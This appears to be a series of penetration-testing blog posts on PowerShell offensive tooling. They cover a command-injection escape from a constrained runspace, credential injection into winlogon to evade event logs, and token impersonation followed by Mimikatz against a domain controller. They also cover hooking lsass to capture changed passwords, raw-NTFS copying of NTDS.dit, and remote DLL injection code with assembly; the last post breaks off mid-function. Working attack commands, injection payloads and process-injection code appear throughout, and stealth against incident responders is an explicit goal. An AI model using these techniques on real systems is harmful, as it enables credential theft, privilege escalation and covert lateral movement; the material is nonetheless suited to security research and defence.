Cracking Open PowerShell’s Constrained Runspace

Recently at the PowerShell Summit, Lee Holmes and I did a talk on PowerShell security. One of the demonstrations we did showed how to find and exploit a command injection bug in a constrained runspace. I figured I’d write a short blog post on how to use a command injection bug to turn a constrained runspace in to an unconstrained runspace.

For those unaware, constrained runspaces are a pretty neat feature of PowerShell. A constrained runspace is a PowerShell Remoting endpoint that only allows the user to execute whitelisted PowerShell commands. The endpoint can optionally be configured to run these commands under a delegated account (such as an administrator account). This allows non-administrator users to connect to the endpoint and run specific, whitelisted commands, under a more privileged account. This makes constrained runspaces an excellent way to manage systems without requiring unfettered administrator access on every system.

For this blog, I’ve created an easy to install constrained runspace to practice attacking that can be found here: https://github.com/clymb3r/Demos/tree/master/VulnerableConstrainedRunspace. When you connect to this constrained runspace, you will have access to a limit set of commands (some of which are custom functions that I’ve written). Here is the output of “Get-Command” when running in my constrained runspace:

Running Get-Command in a constrained runspace.

Running Get-Command in a constrained runspace.

As you can see, very few commands are available. In a typical enterprise setup, I’d expect to see more commands then this available (and many of them might be custom functions written by the administrators). One thing to check is if the commands exposed allow for command injection. If you’ve read my previous blog post on safe PowerShell coding (http://clymb3r.wordpress.com/2013/09/07/avoiding-powershell-command-injection-unicode-issues/), you’ll know that sometimes programmers concatenate user input (taken from the function parameters) with other data and use the resulting string to call Invoke-Expression (or similar functions).

Below is an example of command injection in the runspace I have provided. The function Get-ChildItemProxy1 is only supposed to execute “Get-ChildItem” with the user supplied path.

The Get-ChildItemProxy1 function. The script is only intended to execute Get-ChildItem but can be made to execute arbitrary code due to a command injection bug.

The Get-ChildItemProxy1 function. The script is only intended to execute Get-ChildItem but can be made to execute arbitrary code due to a command injection bug.

Due to a programming error, an attacker is able to inject arbitrary commands to execute. In the example below, the attacker forces the function to also execute “Get-Process”:

Basic PowerShell command injection in a constrained runspace.

Basic PowerShell command injection in a constrained runspace.

This is obviously extremely powerful, but it’s also annoying to use. For every command you wish to execute you must properly escape your input as to properly exploit the command injection vulnerability. Can we do better? Of course!

If you run Get-Command, you’ll notice one of the properties that functions/cmdlets have is a “Visibility” property. In a normal PowerShell session, all functions are marked “Public”. When you setup a constrained runspace PowerShell sets the visibility of all non-whitelisted functions to “Private”. This prevents you from using the function/cmdlet from the constrained runspace, but commands that are whitelisted (such as Get-ChildItemProxy1) are allowed to call “Private” functions.

All you need to do to turn a constrained runspace in to an unconstrained runspace is mark all functions as “Public”. How do you do that? Check this out:

Get-ChildItemProxy1 "c:\'; Get-Command | ForEach-Object { `$_.Visibility='Public' };'"

This command once again exploits the command injection. It uses command injection to call “Get-Command”. Remember that because “Get-Command” is being called from inside a whitelisted function, it is able to see all functions/cmdlets (including those that have been marked “Private”). For each command, it sets the “Visibility” to “Public”. Now if you run “Get-Command”, you’ll see you have significantly more commands available to use.

How to turn a constrained runspace in to an unconstrained runspace with PowerShell command injection.

How to turn a constrained runspace in to an unconstrained runspace with PowerShell command injection.

Thanks to Lee Holmes (@Lee_Holmes) for showing me some of these tricks!

Tagged with: , , ,
Posted in Hacking, PowerShell

Injecting Logon Credentials With PowerShell

In this article I will introduce a new script, Inject-LogonCredentials, that uses PowerShell (specifically, the Invoke-ReflectivePEInjection script) to inject credentials in memory.

I’ll start with a brief review of the current commonly used methods of using stolen credentials.

  1. Doing a RunAs with a users credential. The downside of a RunAs is that it creates an “Explicit Credential Logon” event in the Windows event logs (event id 4648). As you can see in the picture below, this event shows the account being logged in with (testuser), and the account initiating the new logon (joe). It also shows the process that called the logon API. Incident responders commonly look for this event as an indicator of lateral movement, so it should be avoided.
  2. Injecting credentials directly in to LSASS. This technique, used by Windows Credential Editor, involves injecting a DLL in to LSASS and modifying its memory to add your credentials. Unfortunately, if LSASS is set to be a protected process in Windows 8.1 this technique fails because only specially signed processes can manipulate protected processes. While it is true that tools such as Mimikatz can disable protected processes, I do not want to load a kernel driver (which is what Mimikatz does) every time I pivot.
  3. Implementing your own authentication protocols. Examples include the NTLM module in Metasploit, which can perform NTLM authentication without relying on Windows authentication. This has the benefit of staying out of the logs (since it does not rely on Windows authentication libraries). Unfortunately it limits you to using Metasploit modules that use the Metasploit NTLM module. This module only supports NTLM, and not Kerberos. One new feature of Windows 8.1 allows user accounts to be banned from using NTLM, which will prevent this module from functioning.

As noted, doing a RunAs throws a suspicious event log because it allows an incident responder to see that some random user is logging in with domain admin credentials (or other privileged credentials). Instead of simply doing a RunAs, I will do the following:

  1. Create a DLL that:
    • Opens a named pipe and reads a domain/username/password combination.
    • Read a logon type from the named pipe (current supported types are Interactive, RemoteInteractive, and NetworkCleartext).
    • Calls LsaLogonUser to create a logon with the credentials it was supplied, and as the logon type supplied.
    • Impersonates the token returned by LsaLogonUser with its current thread, which allows the token to be kidnapped by Invoke-TokenManipulation.
  2. Reflectively inject this DLL in to winlogon.exe using Invoke-ReflectivePEInjection.
  3. Supply the DLL with the username/password to create a logon for by using a named pipe.
  4. Call LsaLogonUser with the supplied credentials and logon type within winlogon.exe.

The differences between this script and a normal RunAs are:

  • Process calling the logon API will show up as Winlogon.exe.
  • User initiating the logon is SYSTEM, not a random user account.
  • You can specify the logon type. For example, you can make LSASS think the account is connecting via RDP, which might be normal. You can also make LSASS think the account is a local logon (someone physically using the computer).
RunAs 4648 Event Log

RunAs 4648 Event Log

4648 Event Log With Inject-LogonCredentials

4648 Event Log With Inject-LogonCredentials

4624 With Inject-LogonCredentials

4624 With Inject-LogonCredentials

As you can see, everything that was suspicious in the 4648 event log is gone. But how do you use these credentials now that they are in memory?

Once you run the script, you can use Invoke-TokenManipulation (or incognito if you are using Metasploit) to kidnap the token of the new logon. You can use this impersonated token to pivot off box using things such as SMB, WMI, and PowerShell remoting.

Here’s an example:

Inject-LogonCredentials –DomainName demo –UserName administrator –Password Password1 –ExistingWinLogon
Invoke-TokenManipulation –CreateProcess “c:\windows\system32\windowspowershell\v1.0\powershell.exe” -UserName “demo\administrator”

It’s worth mentioning that the script currently has two modes:

  • ExistingWinLogon: Injects the DLL in to an already running winlogon process. The DLL will never be unloaded from this process so there is forensic evidence that is left behind if someone does analysis on the winlogon process.
  • NewWinLogon: Creates a new winlogon process, running as SYSTEM, using token kidnapping. Injects the logon DLL in to this new winlogon process. Once you are done, you can kill the process. This allows you to delete the process and wipe away DLL injection evidence, but Windows will log that PowerShell.exe created winlogon, which would look strange if anyone notices.

Hopefully this has helped illustrate how Invoke-ReflectivePEInjection can be used to do awesome things.You can find the script at: https://github.com/clymb3r/PowerShell/tree/master/Inject-LogonCredentials

As usual, it will also be added to PowerSploit.

Tagged with: , , , ,
Posted in Hacking, PowerShell

PowerShell and Token Impersonation

This post will discuss bringing incognito-like functionality to PowerShell in the form of a new PowerShell script (Invoke-TokenManipulation), with some important differences. I’ll split this post up in to three sections:

  1. An overview on tokens and Windows authentication
  2. An overview of what the script does, and problems/solutions encountered when building it
  3. A demonstration of the script

Even if you think you know how tokens work, I’d recommend reading the token overview because it highlights differences between this script and incognito.

Why bother with this script? As many of you may know, Windows 8.1 introduces changes that make pass-the-hash style attacks more difficult. As part of this effort, LSASS can be turned in to a protected process (which should make dumping credentials harder). One way to get around this protection is to load a kernel driver and disable the protected process flag (Mimikatz 2.0 already has this built in). Unfortunately, installing a kernel driver might be noticed.

Another solution to the pivoting problem is to simply ignore credentials and instead impersonate the security tokens of logged on users you’d like to pivot with.

Token Overview

I’ll start this off by stating that you should read the Windows Internals books if you want a more complete overview of how stuff in Windows works. This will be a brief description to give users helpful background knowledge.

So what is a security token? In a nutshell, a security token is something that identifies a user. Whenever you create a process, it has a token associated with it so the system knows things like:

  • Is the process being run under an elevated context (UAC)
  • What privileges does the process have (such as SE_DEBUG_PRIVILEGE)
  • Can the process access a specific resource it requested access to?

Threads in a process use the processes security token by default, but they can also impersonate other users security tokens. For example, a user can authenticate to a service and the service can impersonate the users security token, allowing the service to perform actions on the users behalf. When new threads are created, they use the security token of the process (not the security token of the thread which created the new thread).

When a user logs in to Windows in a domain environment, they can visit authenticated network resources without re-entering their credentials thanks to Single Sign-On. Windows caches the credentials of the user so the user doesn’t need to be prompted for a password every time they access a network resource. The credentials are cached in the LSASS process, and Windows determines which credentials to use with SSO based on the security token of the process/thread.

Not all tokens can be used to authenticate to network resources. Why not? To authenticate to network resources, you need credentials. Windows has two general ways of authenticating to a remote system:

  • Network logon: In this logon type, the client proves to the server it knows the correct credential without giving it to the server. This can be done using NTLM authentication or using Kerberos authentication. The remote server caches no user credentials because it was never sent them.
  • Non-network logon: This includes things like Network Clear-text and Interactive logons.  These logon types send the users clear-text password to the server during authentication. The server can cache this password (and NTLM hash, and Kerberos TGT) in LSASS and use it to authenticate to other resources.

When a user authenticates using Network Logon, the user can logon to the remote server but will not be able to logon to other resources from the remote server. This is because the remote server doesn’t have any credentials cached for the user to authenticate with. If you want to do a “double hop”, meaning authenticate to a remote server, and from that server to another resource, you must provide credentials to the first hop.

Ultimately, the logon type is all that matters when determining if a token has credentials associated with it (and can therefore be used to connect to remote resources). Tokens created from network logons do not have credentials associated with them, and are therefore not useful to authenticate to other servers.

You may have noticed that incognito lists tokens in to two categories: Impersonation and delegation. When a client connects to a server, the client can specify what level of impersonation it would like it’s token to have on the server. The impersonation level “impersonation” allows the token to be used on the current server but not over the network. The impersonation level “delegation” allows the token to be used over the network; HOWEVER, this can only happen if the token has credentials associated with it. Remember, the token itself doesn’t go over the network; the credentials associated with the token go over the network.

If you’ve ever impersonated a “delegation” token and then failed to make a network connection using the token, this is the culprit. A lot of clients will authenticate with full delegation privileges, but only do a network logon. Even though the token could be used to authenticate to resources off box, it has no credentials to do so.

Token impersonation levels (impersonate, delegate, etc..) only apply to “Impersonation Tokens”. Impersonation tokens are tokens that are created when a thread impersonates another user. The second type of token is a “Primary Token”, which is the type of token associated with a process. Primary tokens don’t have impersonation levels; they are equivalent to an impersonation token with the delegation impersonation level from an attacker perspective.

When running as an administrator (which my script requires), you can turn a token, including an impersonation token, in to a primary token. So don’t worry about impersonation vs. delegation tokens, just make sure the token you choose wasn’t created by a Network Logon (type 3).

Script Overview:

What does it do?

Invoke-TokenManipulation allows you to enumerate all available security tokens on a system. You can create new processes with these tokens (run processes as another user without needing their password) or you can make the current PowerShell thread impersonate one of the tokens (which has issues, see below).

All right, so how does this script actually work?

First, you must enumerate the tokens on the system:

  1. Enumerate all processes
  2. Call OpenProcess to get a handle to each process
  3. Call OpenProcessToken to get the token of the process
  4. Enumerate all threads
  5. Call OpenThread to get a handle to each thread
  6. Call OpenThreadToken to get the token of the thread (if it has one)
  7. Call GetTokenInformation to retrieve information about the token such as if it is elevated, who it belongs to, and what privileges it has

Now the script has a list of the tokens available on the system. It’s worth noting that protected processes cannot be opened with the permissions required to capture their token.

To impersonate a users token:

  1. Call DuplicateTokenEx to get a copy of the token being impersonated
  2. Call ImpersonateLoggedOnUser to impersonate the token

To create a process using a users token:

  1. Call DuplicateTokenEx to get a copy of the token being impersonated
  2. Call CreateProcessWithTokenW to create a process using the specified token

I ended up running in to a few issues when writing this script.

1. Impersonation Issues

The first impersonation feature I implemented was the ability to impersonate a user with the current PowerShell thread. Unfortunately, I wasn’t able to authenticate off box using PowerShell remoting after impersonating the user (it would authenticate using the token of the process, not the thread). I haven’t done any disassembly, but I suspect that PowerShell is multithreaded; when you attempt to do PowerShell remoting, PowerShell likely spins up a new thread that inherits the token of the process, not the current threads token. This means the best way to use the script is to create new processes with alternate tokens.

2. GUI Issues

After I realized that impersonating users in the current thread wouldn’t work well in PowerShell, I set out to create processes using a users token. Whenever a new thread is created in a process, it uses the token of the process. If you can launch the PowerShell process using an alternate token, all threads inside the PowerShell process will also use the alternate token.

I was able to use the CreateProcessWithTokenW function to accomplish this, but I had an issue. When launching new processes as “NT AUTHORITY\SYSTEM”, everything worked fine. When launching new processes as other users, only part of the GUI was rendered. The process did run correctly, but you couldn’t interact with it.

The GUI of applications only partially renders due to the file permission of the Window Station and Desktop objects.

The GUI of applications only partially renders due to the file permission of the Window Station and Desktop objects.

In Windows, many default ACL’s give “NT AUTHORITY\SYSTEM” full permission and other users partial permission. Given that everything worked as SYSTEM, but the GUI only partially rendered when run as another user, I figured there was a permission issue with the Windows Station and Windows Desktop objects. Sure enough, adding an ACL to grant the “Everyone” group full control of my Window Station and Desktop (“winsta0\default”) did the trick. You can now create a process as any user and have a fully functional GUI.

Processes can now be launched with a full GUI.

Processes can now be launched with a full GUI.

Script Demonstration:

List unique tokens available on a system:

PS C:\Github\PowerShell\Invoke-TokenManipulation> invoke-tokenmanipulation

Domain : NT AUTHORITY
Username : NETWORK SERVICE
hToken : 3928
LogonType : 5
IsElevated : True
TokenType : Primary
SessionID : 0
ProcessId : 668

Domain : NT AUTHORITY
Username : SYSTEM
hToken : 3692
LogonType : 0
IsElevated : True
TokenType : Primary
SessionID : 3
ProcessId : 2296

Domain : DEMO
Username : non-admin
hToken : 3904
LogonType : 2
IsElevated : True
TokenType : Primary
SessionID : 3
ProcessId : 2764

Domain : DEMO
Username : Administrator
hToken : 3912
LogonType : 2
IsElevated : True
TokenType : Primary
SessionID : 2
ProcessId : 1228

Here’s an example of using the script to attack a user on a system running Windows 8.1 with LSASS set to be a protected process. You could install a kernel driver to turn off the protected process, or you could be a little sneakier and use this script:

First, create a new PowerShell process running as “demo\administrator”, a domain admin who is logged on to the Windows 8.1 system:

Invoke-TokenManipulation –CreateProcess “c:\windows\system32\windowspowershell\v1.0\powershell.exe” –Username “demo\administrator”

Then run Invoke-Mimikatz in the new PowerShell window against the domain controller (not running Windows 8.1) to get the clear-text password of all users logged in to the domain controller:

Invoke-Mimikatz –Computername “dc1.demo.local”

Since Invoke-Mimikatz is run from the PowerShell window created using “demo\administrators” token, it will authenticate over the network as the domain administrator.

References

Last but not least, I’d like to thank Matt Graeber for the debugging help and taking the time to review the script.

Tagged with: , , , , ,
Posted in Hacking, PowerShell, Uncategorized

Intercepting Password Changes With Function Hooking

Last week, Mubix published a malicious Windows password filter DLL (http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html). The idea is simple, by installing this password filter, he can intercept the clear text credential whenever a user changes their password. There are two caveats with installing this password filter:

  1. You must restart the computer for it to take affect
  2. It will show up as an autorun and a loaded DLL in lsass.exe which may be noticed

I’ve been playing around with function hooks lately and thought this would be a great demonstration of their usefulness. The idea is that you hook the PasswordChangeNotify function in the default Windows password filter (rassfm.dll). Anytime PasswordChangeNotify is called, it will be rerouted to my malicious PasswordChangeNotify function, which will write the password to disk and return execution back to the original PasswordChangeNotify function.

To do this, I will write the function hooking code in a DLL and reflectively inject the DLL in to lsass.exe using Invoke-ReflectivePEInjection. The benefit to this approach is that no binaries are written to disk, no suspicious DLL’s are loaded in lsass, no registry changes are made, and no reboot is required.

Since I know not everybody is familiar with writing a function hook, I’ll explain the code (which can be found here: https://github.com/clymb3r/Misc-Windows-Hacking/tree/master/HookPasswordChange):

  • Invoke-ReflectivePEInjection is used to inject the malicious hooking DLL in to lsass.

.\Invoke-ReflectivePEInjection –pepath .\HookPasswordChange.dll –procname lsass

  • Invoke-ReflectivePEInjection calls the function VoidFunc in the reflectively loaded DLL, which installs the function hook. The function hook overwrites the first 12 bytes of PasswordChangeNotify with instructions to jump to another location.

The hook also allocates some RWX memory that holds byte code that returns execution flow to rassfm!PasswordChangeNotify (more on this later).

  • Rassfm!PasswordChangeNotify is called; it immediately executes the following assembly which diverts execution to my malicious PasswordChangeNotifyHook function.
Disassembly of PasswordChangeNotify after being hooked. The instructions after jmp rax disassemble incorrectly after hooking, but all the code after the hook is intact.

Disassembly of PasswordChangeNotify after being hooked. The instructions after jmp rax disassemble incorrectly after hooking, but all the code after the hook is intact.

  • PasswordChangeNotifyHook is a function written in c++, and it takes the same parameters as rassfm!PasswordChangeNotify function. This function takes the username and password and writes it to disk (or does something else that you program such as sending the output to a web site).
  • Now it is time to return execution flow back to the real PasswordChangeNotify. PasswordChangeNotifyHook casts the memory address of the RWX memory allocated earlier to be a function pointer to a function with the same signature as rassfm!PasswordChangeNotify and calls this function pointer.
  • The RWX memory contains the first 3 instructions (15 bytes worth of byte code) that we overwrote in rassfm!PasswordChangeNotify. Now that those instructions have been executed, load the memory address of PasswordChangeNotify+0xf to the EAX and jump to it. Execution flow has now been successfully returned to rassfm!PasswordChangeNotify.
Disassembly of the RWX memory I allocate which ends up returning execution to PasswordChangeNotify.

Disassembly of the RWX memory I allocate which ends up returning execution to PasswordChangeNotify.

Originally I wanted to write inline asm in the PasswordChangeNotifyHook function to return control flow to rassfm!PasswordChangeNotify but unfortunately Visual Studio doesn’t support inline asm for x64 or Itanium, only x86. This is why I had to allocate RWX memory to put the byte code in and trigger it by calling a function pointer.

Note that this is a proof of concept. I have tested it on Windows Server 2012 but it should work on 2008R2 as well. The code can be found at: https://github.com/clymb3r/Misc-Windows-Hacking/tree/master/HookPasswordChange.

The Invoke-ReflectivePEInjection script which is used to load the hook DLL can be found at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection.

Tagged with: , ,
Posted in Hacking, PowerShell

Avoiding PowerShell Command Injection & Unicode Issues

PowerShell exposes a powerful set of functionality and is increasing in popularity for server management tasks. This post aims to help penetration testers identify issues that may be found when PowerShell scripts handle user input. There are multiple scenarios where this might occur, but two that stand out to me are:

1. PowerShell scripts which are whitelisted in a constrained run space

Constrained run spaces can be used to allow a non-administrative user to remote PowerShell in to a server and execute a set of whitelisted scripts/commands. Delegation can be setup, allowing these scripts to be executed as an administrator even though the user is a non-administrator. If these scripts contain injection bugs, users can elevate themselves to administrators.

2. PowerShell scripts which are executed with user input taken from a service of some sort (such as a web site)

In this scenario a web site might take user input and pass it to a PowerShell script to perform some sort of action. Injection bugs in the PowerShell script will lead to remote code execution against the website.

In both of these scenarios, the PowerShell script being executed might contain flaws that allow command injection. Lets look at a few examples:

Param(
 [String]$UserInput
)

#####################
#Exploit Invoke-Command and Invoke-Expression
#To exploit: .\cmdinjection -UserInput "c:\'; calc.exe;'"
$NewCmd = "Get-ChildItem '$UserInput'"

#Unsafe Invoke-Expression
Write-Output "Invoke-Expression unsafe demo"
Invoke-Expression $NewCmd

#Unsafe Invoke-Command
Write-Output "Invoke-Command unsafe demo"
[ScriptBlock]$sb = [ScriptBlock]::Create($NewCmd) #Cast the command string to be a scriptblock
Invoke-Command -ScriptBlock $sb
#####################

None of this is mind blowing. Dynamic script creation leads to bad things in the same way that dynamic SQL creation leads to bad things.

Here is one cool issue you might not expect though. Lets say you decide to use dynamic script creation anyways, but you are clever and you ensure user input doesn’t contain a tick mark to prevent command injection.

Param(
 [String]$UserInput
)

#####################
#Exploit Invoke-Command with regex filter
#To exploit: $escapeChar = [char]8216
# .\cmdinjection2.ps1 "c:\$escapeChar; calc.exe $escapeChar"
if ($UserInput -imatch "'")
{
 Write-Error "Malicious user input found!" -ErrorAction Stop
}

$NewCmd = "Get-ChildItem '$UserInput'"

#Unsafe Invoke-Command
Write-Output "Invoke-Command unsafe demo"
[ScriptBlock]$sb = [ScriptBlock]::Create($NewCmd) #Cast the command string to be a scriptblock
Invoke-Command -ScriptBlock $sb
#####################

While at first glance this appears to work, PowerShell has a feature which interprets smart quotes as normal quotes. When you type quotes or ticks in to Outlook or Word, they are automatically converted to Unicode characters (opening and closing quotes/ticks). When people copy and pasted script sent to them in Outlook or in Word documents, the scripts wouldn’t work because these Unicode quotes didn’t tokenize in to normal quotes that PowerShell expects. To make life easier, PowerShell now tokenizes Unicode quotes and ticks the same as ASCII quotes and ticks.

Here’s a look at the relevant part of the PowerShell Tokenizer:

Code from the PowerShell tokenizer which treats unicode ticks/quotes the same as ASCII ticks/quotes.

Code from the PowerShell tokenizer which treats unicode ticks/quotes the same as ASCII ticks/quotes.

This means the above regex can be bypassed by using a Unicode tick, which bypasses the regex filter, but is tokenized as a tick when PowerShell interprets it. Try running the script like this:

PowerShell regex bypass using unicode tick marks which can allow command injection.

PowerShell regex bypass using unicode tick marks which can allow command injection.

So what is the solution? Don’t use string concatenation to create script.

If you are taking user input and using it as a parameter to a PowerShell command, do it like this (rather than building a string to execute):

Param(
 [String]$UserInput
)

#####################
#Safe example

Get-ChildItem $UserInput

#####################

If you are taking user input and building a script to run on a remote computer using PowerShell remoting, do it like this:

Param(
 [String]$UserInput
)

#####################
#Safe example

[ScriptBlock]$SafeWay = {
 Param(
 [String]$Path
 )

Get-ChildItem $Path
}

Invoke-Command -ScriptBlock $SafeWay -ArgumentList $UserInput -ComputerName "AnotherServer"
#####################

Last but not least, I’d like to thank Chris Weber and John Hernandez from Casaba for helping me quickly identify the root cause of the regex bypass I discovered.

Tagged with: , , ,
Posted in Hacking, PowerShell

Using PowerShell to Copy NTDS.dit / Registry Hives, Bypass SACL’s / DACL’s / File Locks

Currently there are a few ways to dump Active Directory and local password hashes. Until recently, the techniques I had seen used to get the hashes either relied on injecting code in to LSASS or using the Volume Shadow Copy service to obtain copies of the files which contain the hashes. I have created a PowerShell script called Invoke-NinjaCopy that allows any file (including NTDS.dit) to be copied without starting suspicious services, injecting in to processes, or elevating to SYSTEM. But first, a little background.

A few months back I saw this awesome blog post: http://www.josho.org/blog/blog/2013/03/07/samex/. Rather than attempting to read files using the Win32 API (which enforces things such as read handle locks, SACL, DACL, etc.), the author wrote a tool that obtains a read handle to the C volume (something an administrator account can do). This gives him the ability to read the raw bytes of the entire volume. The tool then parses the NTFS structures on the C volume, determines where on the volume the bytes for a particular file reside, scans to the location and copies the files bytes. This allows the tool to get access to files even though LSASS has the file locked, and doesn’t require starting the Volume Shadow Copy service (which might look suspicious if it isn’t normally used).

I wanted something a little more generic (SAMex only dumps files related to password hashes on the C volume): a tool that allows me to copy any file on any volume. I want to be able to make copies of NTDS.dit and registry hives, but also any other file (such as a file protected by a SACL). I also want the tool to be written in PowerShell so it can be run remotely without writing hacker tools to disk.

Initially, I was going to write a parser in PowerShell, but then I realized there are already NTFS parsers written in C++ such as this one: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib. Rather than write an NTFS parser in PowerShell, it made a lot more sense to compile an existing NTFS parser as a DLL and load it up in Invoke-ReflectivePEInjection.

I was able to get the NTFS parser loaded up in PowerShell in several hours, which goes to show how easy and fast it is to turn existing native code applications in to sneaky PowerShell tools.

The result is Invoke-NinjaCopy. A PowerShell script capable of copying NTDS.dit, Registry hives, and any other file sitting on an NTFS volume by obtaining a read handle to the volume and parsing NTFS. This does not require elevating to SYSTEM, injecting in to SYSTEM processes, or starting new services/suspicious programs.

Demo:

.\Invoke-NinjaCopy.ps1 -path c:\windows\system32\config\system -localdestination c:\test\system -verbose -computername workstationvm
VERBOSE: PowerShell ProcessID: 3196
VERBOSE: Copied 5242880 bytes. 6553600 Bytes remaining
VERBOSE: Copied 10485760 bytes. 1310720 Bytes remaining
VERBOSE: Copied 11796480 bytes. 0 Bytes remaining

Source Code:

https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy

References:

Tagged with: , , , , , ,
Posted in Hacking

Implementing Remote LoadLibrary and Remote GetProcAddress Using PowerShell and Assembly

Recently I have been working on reflective DLL injection in to remote processes in PowerShell. I encountered a problem; I need to call LoadLibrary to load libraries in the remote process and then call GetProcAddress to get function addresses in the remote process.

This post will start off with some review of DLL injection in a 32bit process, which is straightforward. Then I will talk about loading a DLL in a 64bit process. Last I’ll talk about calling GetProcAddress in a remote process. I’ll also include DLL injection references at the bottom of the post, as there are already numerous posts online about basic DLL injection.

Invoke-CreateRemoteThread

First, I want to show how to create threads in remote processes using PowerShell. The technique depends on which version of Windows you are using. For Windows XP, you can create a remote thread using CreateRemoteThread. Windows Vista/7 introduced session isolation, which broke CreateRemoteThread if the target process is in a different session. The solution is to use an undocumented function, NtCreateThreadEx, which will work cross session. In Windows 8, CreateRemoteThread once again works cross session.

Function depending on OS:

  • CreateRemoteThread
    • Windows XP
    • Windows 8
  • NtCreateThreadEx
    • Windows Vista
    • Windows 7

Function Invoke-CreateRemoteThread
{
    Param(
    [Parameter(Position = 1, Mandatory = $true)]
    [IntPtr]
    $ProcessHandle,

    [Parameter(Position = 2, Mandatory = $true)]
    [IntPtr]
    $StartAddress,

    [Parameter(Position = 3, Mandatory = $false)]
    [IntPtr]
    $ArgumentPtr = [IntPtr]::Zero,

    [Parameter(Position = 4, Mandatory = $true)]
    [System.Object]
    $Win32Functions
    )

    [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero

    $OSVersion = [Environment]::OSVersion.Version
    #Vista and Win7
    if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
    {
        Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
        $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
        $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
        if ($RemoteThreadHandle -eq [IntPtr]::Zero)
        {
            Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
        }
    }
    #XP/Win8
    else
    {
        Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
        $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
    }

    if ($RemoteThreadHandle -eq [IntPtr]::Zero)
    {
        Write-Verbose "Error creating remote thread, thread handle is null"
    }

    return $RemoteThreadHandle
}

This code will be used throughout the rest of this post.

32Bit Remote LoadLibrary:

For 32bit applications, calling LoadLibrary is relatively straightforward. CreateRemoteThread (and NtCreateThreadEx) take a function pointer (the initial address to begin thread execution) and a pointer to a single argument that can be passed to the function.

HANDLE WINAPI CreateRemoteThread(   _In_   HANDLE hProcess,
    _In_   LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_   SIZE_T dwStackSize,
    _In_   LPTHREAD_START_ROUTINE lpStartAddress,
    _In_   LPVOID lpParameter,
    _In_   DWORD dwCreationFlags,
    _Out_  LPDWORD lpThreadId );
HMODULE WINAPI LoadLibrary(   _In_  LPCTSTR lpFileName );

LoadLibrary takes a single parameter, a pointer to a string that contains the name of the DLL to load. Therefore, to call LoadLibrary in a remote process, I do the following:

  1. Allocate memory in the remote process.
  2. Write the DLL name string to this allocated memory.
  3. Call Invoke-CreateRemoteThread with the address of the LoadLibrary function.  The memory address allocated is passed as the optional argument of CreateRemoteThread.
  4. Use WaitForSingleObject to wait until the thread finishes.
  5. Call GetExitCodeThread to get the return value of the thread, which is the return value of LoadLibrary. This gets the address the specified DLL was loaded to in the remote process.

One thing to note: For the above to work, I have to know the address of LoadLibrary in the remote process. As it turns out, Kernel32.dll is loaded to the same memory location in every process (it changes at reboot, but every process always loads it to the same spot). LoadLibrary is contained in Kernel32.dll, so I can simply call GetProcAddress in the PowerShell process, which will get the address of LoadLibrary in the PowerShell process and therefore the address of LoadLibrary in the remote process.

Example code for both 32bit and 64bit remote LoadLibrary are located further below.

64Bit Remote LoadLibrary:

Unfortunately this doesn’t work for 64bit processes. GetExitCodeThread returns a 32bit value; in a 64bit process, LoadLibrary will return a 64bit value.

Here’s the workaround I came up with:

  1. Write assembly code that calls LoadLibrary and writes the return value to a memory address in the remote process that I specify.
  2. Write this assembly code in to the remote process.
  3. Execute it using Invoke-CreateRemoteThread.
  4. Once the thread finished, read the memory address in the remote process that the assembly writes the return value to.

Here’s the assembly code:

[SECTION .text]
global _start
_start:
    ; Save rsp and setup stack for function call
    push rbx
    mov rbx, rsp
    sub rsp, 0x20
    and sp, 0xffc0

    ; Call LoadLibraryA
    mov rcx, 0x4141414141414141    ; Ptr to string of library, set by PS
    mov rdx, 0x4141414141414141    ; Address of LoadLibrary, set by PS
    call rdx

    mov rdx, 0x4141414141414141    ; Ptr to save result, set by PS
    mov [rdx], rax

    ; Fix stack
    mov rsp, rbx
    pop rbx
    ret

The PowerShell script changes the addresses labeled 0x4141414141414141 to the actual addresses in the remote process during execution.  The script allocates memory for the DLL name string, allocates memory for the return value of LoadLibrary, and gets the address of LoadLibrary, and writes these addresses in to the assembly.

Here’s example PowerShell script:

Function Import-DllInRemoteProcess
{
    Param(
    [Parameter(Position=0, Mandatory=$true)]
    [IntPtr]
    $RemoteProcHandle,

    [Parameter(Position=1, Mandatory=$true)]
    [IntPtr]
    $ImportDllPathPtr
    )

    $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])

    $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
    $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
    $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
    if ($RImportDllPathPtr -eq [IntPtr]::Zero)
    {
        Throw "Unable to allocate memory in the remote process"
    }

    [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
    $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)

    if ($Success -eq $false)
    {
        Throw "Unable to write DLL path to remote process memory"
    }
    if ($DllPathSize -ne $NumBytesWritten)
    {
        Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
    }

    $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
